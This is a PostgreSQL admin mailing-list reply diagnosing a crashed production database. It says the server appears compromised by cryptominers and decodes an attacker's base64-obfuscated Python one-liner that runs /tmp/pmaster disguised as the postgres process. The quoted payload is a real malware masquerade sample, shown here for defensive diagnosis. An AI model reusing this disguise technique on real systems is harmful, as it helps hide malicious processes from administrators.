Re: Postgresql db crash and recovery mode

From: Julien Rouhaud <rjuju123(at)gmail(dot)com>
To: Tom Lane <tgl(at)sss(dot)pgh(dot)pa(dot)us>
Cc: Latif güdük <latifguduk(at)gmail(dot)com>, Pgsql-admin <pgsql-admin(at)lists(dot)postgresql(dot)org>
Subject: Re: Postgresql db crash and recovery mode
Date: 2021-10-05 15:11:40
Message-ID: CAOBaU_aXGJsF7wYbrWEvD5UdMyDL9EZF-=0sZNRnk_xyXMKokA@mail.gmail.com
Views: Raw Message | Whole Thread | Download mbox | Resend email
Thread:
Lists: pgsql-admin

On Tue, Oct 5, 2021 at 10:58 PM Tom Lane <tgl(at)sss(dot)pgh(dot)pa(dot)us> wrote:
>
> =?UTF-8?B?TGF0aWYgZ8O8ZMO8aw==?= <latifguduk(at)gmail(dot)com> writes:
> > One of our production database crashed and got FATAL: the database system
> > is in recovery mode. You can find OS version and db version info below.
>
> > 2021-10-05 17:01:08.103 +03 20248 LOG: server process (PID 158856)
> > was terminated by signal 9: Killed
>
> That is an external kill. If you didn't do it manually, it's most likely
> the Linux OOM killer in action.

The really worrying part is that it looks like your server has been
compromised and you should do something about it, unless you want to
keep mining bitcoins for strangers (or worse). I'm assuming that
you're trying to start postgres using obfuscation in COPY command:

$ echo cHl0aG9uIC1jICdpbXBvcnQgc3VicHJvY2VzczsgcHJvYyA9IHN1YnByb2Nlc3MuUG9wZW4oWyIvdXNyL3Bnc3FsLTExL2Jpbi9wb3N0Z3JlcyJdLCBleGVjdXRhYmxlPSIvdG1wL3BtYXN0ZXIiKS53YWl0KCknCg==
| base64 -d

python -c 'import subprocess; proc =
subprocess.Popen(["/usr/pgsql-11/bin/postgres"],
executable="/tmp/pmaster").wait()'

In response to

Browse pgsql-admin by date

  From Date Subject
Next Message Wells Oliver 2021-10-05 22:06:59 Pros/cons of big databases vs smaller databases and RDS
Previous Message Tom Lane 2021-10-05 14:58:27 Re: Postgresql db crash and recovery mode